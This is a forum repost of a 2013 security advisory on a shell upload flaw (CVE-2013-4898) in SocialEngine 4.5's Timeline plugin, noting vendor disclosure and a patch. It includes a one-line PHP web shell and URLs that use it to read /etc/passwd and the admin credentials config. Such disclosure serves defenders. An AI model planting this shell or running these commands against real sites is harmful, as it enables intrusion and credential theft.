Matt Posted August 7, 2013 Report Posted August 7, 2013 Description : SocialEngine version 4.5 suffers from a remote shell upload vulnerability.Author : Wesley Henrique LeiteSource : SocialEngine 4.5 Shell Upload ? Packet StormCode : + INTRODUCTION-------------------------------------------------------------The plugin has the objective give you a better visual for the userprofile, allowed the addition of cover image keeping the layout closestto the style of modern social networks, among other features.+ DESCRIPTION OF VULNERABILITY-------------------------------------------------------------Logged into the system, enter on profile page of your user. [my profile] http://example.com/index.php/profile/[profile-name] >> Click "Change Cover" >> Click "Upload Cover"select the file "*.php" you want to send.//### Example PHP file to send "inject.php" ### <?php echo system("$_GET['cmd']"); ?>//###After selecting the file upload, this will be sent to an area temporarily,the system detects that the format is not valid, but doesn’t remove,allowing access later.an error message is displayed on the screen.[ File "/srv/www/htdocs/example.com/public/temporary/timeline/cover_original_8.php"is not an image or does not exist ]+ ACCESS------------------------------------------------------------- /srv/www/htdocs/example.com/public/temporary/timeline/cover_original_8.phpThe important thing is the structure of public forward, it will giveus access to our archive. account operation system http://example.com/public/temporary/timeline/cover_original_8.php?cmd=cat%20/etc/passwd account credentials admin application http://example.com/public/temporary/timeline/cover_original_8.php?cmd=cat%20../../../install/config/auth.php-------------------------------------------------------------+ Discovered by: Wesley Henrique Leite ( wesleyhenrique (´) gmail (´) com )+ Software: SocialEngine 4.5+ Plugin Link: http://webhive.com.ua/store/product.php?id_product=46+ Plugin Name+Version : Timeline 4.2.5p9+ CVE-2013-4898+ REPORTED TO VENDOR JUL 17 2013+ PATCH RELEASED JUL 25 2013--------------------------------------------------------------- Wesley Henrique Leite Quote